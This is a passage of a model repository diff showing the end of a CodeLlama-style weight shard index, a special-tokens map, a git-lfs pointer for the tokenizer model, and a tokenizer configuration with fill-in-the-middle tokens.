"model.layers.23.mlp.up_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.23.post_attention_layernorm.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.23.self_attn.k_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.23.self_attn.o_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.23.self_attn.q_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.23.self_attn.v_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.24.input_layernorm.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.24.mlp.down_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.24.mlp.gate_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.24.mlp.up_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.24.post_attention_layernorm.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.24.self_attn.k_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.24.self_attn.o_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.24.self_attn.q_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.24.self_attn.v_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.25.input_layernorm.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.25.mlp.down_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.25.mlp.gate_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.25.mlp.up_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.25.post_attention_layernorm.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.25.self_attn.k_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.25.self_attn.o_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.25.self_attn.q_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.25.self_attn.v_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.26.input_layernorm.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.26.mlp.down_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.26.mlp.gate_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.26.mlp.up_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.26.post_attention_layernorm.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.26.self_attn.k_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.26.self_attn.o_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.26.self_attn.q_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.26.self_attn.v_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.27.input_layernorm.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.27.mlp.down_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.27.mlp.gate_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.27.mlp.up_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.27.post_attention_layernorm.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.27.self_attn.k_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.27.self_attn.o_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.27.self_attn.q_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.27.self_attn.v_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.28.input_layernorm.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.28.mlp.down_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.28.mlp.gate_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.28.mlp.up_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.28.post_attention_layernorm.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.28.self_attn.k_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.28.self_attn.o_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.28.self_attn.q_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.28.self_attn.v_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.29.input_layernorm.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.29.mlp.down_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.29.mlp.gate_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.29.mlp.up_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.29.post_attention_layernorm.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.29.self_attn.k_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.29.self_attn.o_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.29.self_attn.q_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.29.self_attn.v_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.3.input_layernorm.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.3.mlp.down_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.3.mlp.gate_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.3.mlp.up_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.3.post_attention_layernorm.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.3.self_attn.k_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.3.self_attn.o_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.3.self_attn.q_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.3.self_attn.v_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.30.input_layernorm.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.30.mlp.down_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.30.mlp.gate_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.30.mlp.up_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.30.post_attention_layernorm.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.30.self_attn.k_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.30.self_attn.o_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.30.self_attn.q_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.30.self_attn.v_proj.weight": "pytorch_model-00004-of-00006.bin",
"model.layers.31.input_layernorm.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.31.mlp.down_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.31.mlp.gate_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.31.mlp.up_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.31.post_attention_layernorm.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.31.self_attn.k_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.31.self_attn.o_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.31.self_attn.q_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.31.self_attn.v_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.32.input_layernorm.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.32.mlp.down_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.32.mlp.gate_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.32.mlp.up_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.32.post_attention_layernorm.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.32.self_attn.k_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.32.self_attn.o_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.32.self_attn.q_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.32.self_attn.v_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.33.input_layernorm.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.33.mlp.down_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.33.mlp.gate_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.33.mlp.up_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.33.post_attention_layernorm.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.33.self_attn.k_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.33.self_attn.o_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.33.self_attn.q_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.33.self_attn.v_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.34.input_layernorm.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.34.mlp.down_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.34.mlp.gate_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.34.mlp.up_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.34.post_attention_layernorm.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.34.self_attn.k_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.34.self_attn.o_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.34.self_attn.q_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.34.self_attn.v_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.35.input_layernorm.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.35.mlp.down_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.35.mlp.gate_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.35.mlp.up_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.35.post_attention_layernorm.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.35.self_attn.k_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.35.self_attn.o_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.35.self_attn.q_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.35.self_attn.v_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.36.input_layernorm.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.36.mlp.down_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.36.mlp.gate_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.36.mlp.up_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.36.post_attention_layernorm.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.36.self_attn.k_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.36.self_attn.o_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.36.self_attn.q_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.36.self_attn.v_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.37.input_layernorm.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.37.mlp.down_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.37.mlp.gate_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.37.mlp.up_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.37.post_attention_layernorm.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.37.self_attn.k_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.37.self_attn.o_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.37.self_attn.q_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.37.self_attn.v_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.38.input_layernorm.weight": "pytorch_model-00006-of-00006.bin",
"model.layers.38.mlp.down_proj.weight": "pytorch_model-00006-of-00006.bin",
"model.layers.38.mlp.gate_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.38.mlp.up_proj.weight": "pytorch_model-00006-of-00006.bin",
"model.layers.38.post_attention_layernorm.weight": "pytorch_model-00006-of-00006.bin",
"model.layers.38.self_attn.k_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.38.self_attn.o_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.38.self_attn.q_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.38.self_attn.v_proj.weight": "pytorch_model-00005-of-00006.bin",
"model.layers.39.input_layernorm.weight": "pytorch_model-00006-of-00006.bin",
"model.layers.39.mlp.down_proj.weight": "pytorch_model-00006-of-00006.bin",
"model.layers.39.mlp.gate_proj.weight": "pytorch_model-00006-of-00006.bin",
"model.layers.39.mlp.up_proj.weight": "pytorch_model-00006-of-00006.bin",
"model.layers.39.post_attention_layernorm.weight": "pytorch_model-00006-of-00006.bin",
"model.layers.39.self_attn.k_proj.weight": "pytorch_model-00006-of-00006.bin",
"model.layers.39.self_attn.o_proj.weight": "pytorch_model-00006-of-00006.bin",
"model.layers.39.self_attn.q_proj.weight": "pytorch_model-00006-of-00006.bin",
"model.layers.39.self_attn.v_proj.weight": "pytorch_model-00006-of-00006.bin",
"model.layers.4.input_layernorm.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.4.mlp.down_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.4.mlp.gate_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.4.mlp.up_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.4.post_attention_layernorm.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.4.self_attn.k_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.4.self_attn.o_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.4.self_attn.q_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.4.self_attn.v_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.5.input_layernorm.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.5.mlp.down_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.5.mlp.gate_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.5.mlp.up_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.5.post_attention_layernorm.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.5.self_attn.k_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.5.self_attn.o_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.5.self_attn.q_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.5.self_attn.v_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.6.input_layernorm.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.6.mlp.down_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.6.mlp.gate_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.6.mlp.up_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.6.post_attention_layernorm.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.6.self_attn.k_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.6.self_attn.o_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.6.self_attn.q_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.6.self_attn.v_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.7.input_layernorm.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.7.mlp.down_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.7.mlp.gate_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.7.mlp.up_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.7.post_attention_layernorm.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.7.self_attn.k_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.7.self_attn.o_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.7.self_attn.q_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.7.self_attn.v_proj.weight": "pytorch_model-00001-of-00006.bin",
"model.layers.8.input_layernorm.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.8.mlp.down_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.8.mlp.gate_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.8.mlp.up_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.8.post_attention_layernorm.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.8.self_attn.k_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.8.self_attn.o_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.8.self_attn.q_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.8.self_attn.v_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.9.input_layernorm.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.9.mlp.down_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.9.mlp.gate_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.9.mlp.up_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.9.post_attention_layernorm.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.9.self_attn.k_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.9.self_attn.o_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.9.self_attn.q_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.layers.9.self_attn.v_proj.weight": "pytorch_model-00002-of-00006.bin",
"model.norm.weight": "pytorch_model-00006-of-00006.bin"
}
}

30
special_tokens_map.json Normal file
View File

@@ -0,0 +1,30 @@
{
"additional_special_tokens": [
"▁<PRE>",
"▁<MID>",
"▁<SUF>",
"▁<EOT>"
],
"bos_token": {
"content": "<s>",
"lstrip": false,
"normalized": false,
"rstrip": false,
"single_word": false
},
"eos_token": {
"content": "</s>",
"lstrip": false,
"normalized": false,
"rstrip": false,
"single_word": false
},
"pad_token": "</s>",
"unk_token": {
"content": "<unk>",
"lstrip": false,
"normalized": false,
"rstrip": false,
"single_word": false
}
}

3
tokenizer.model Normal file
View File

@@ -0,0 +1,3 @@
version https://git-lfs.github.com/spec/v1
oid sha256:45ccb9c8b6b561889acea59191d66986d314e7cbd6a78abc6e49b139ca91c1e6
size 500058

87
tokenizer_config.json Normal file
View File

@@ -0,0 +1,87 @@
{
"add_bos_token": true,
"add_eos_token": false,
"added_tokens_decoder": {
"0": {
"content": "<unk>",
"lstrip": false,
"normalized": false,
"rstrip": false,
"single_word": false,
"special": true
},
"1": {
"content": "<s>",
"lstrip": false,
"normalized": false,
"rstrip": false,
"single_word": false,
"special": true
},
"2": {
"content": "</s>",
"lstrip": false,
"normalized": false,
"rstrip": false,
"single_word": false,
"special": true
},
"32007": {
"content": "▁<PRE>",
"lstrip": false,
"normalized": false,
"rstrip": false,
"single_word": false,
"special": true
},
"32008": {
"content": "▁<SUF>",
"lstrip": false,
"normalized": false,
"rstrip": false,
"single_word": false,
"special": true
},
"32009": {
"content": "▁<MID>",
"lstrip": false,
"normalized": false,
"rstrip": false,
"single_word": false,
"special": true
},
"32010": {
"content": "▁<EOT>",
"lstrip": false,
"normalized": false,
"rstrip": false,
"single_word": false,
"special": true
}
},
"additional_special_tokens": [
"▁<PRE>",
"▁<MID>",
"▁<SUF>",
"▁<EOT>"
],
"bos_token": "<s>",
"clean_up_tokenization_spaces": false,
"eos_token": "</s>",
"eot_token": "▁<EOT>",
"fill_token": "<FILL_ME>",
"legacy": null,
"middle_token": "▁<MID>",
"model_max_length": 1000000000000000019884624838656,
"pad_token": "</s>",
"prefix_token": "▁<PRE>",
"sp_model_kwargs": {},
"spaces_between_special_tokens": false,
"suffix_first": false,
"suffix_token": "▁<SUF>",
"tokenizer_class": "CodeLlamaTokenizer",
"trust_remote_code": false,
"unk_token": "<unk>",
"use_default_system_prompt": true,
"use_fast": true
}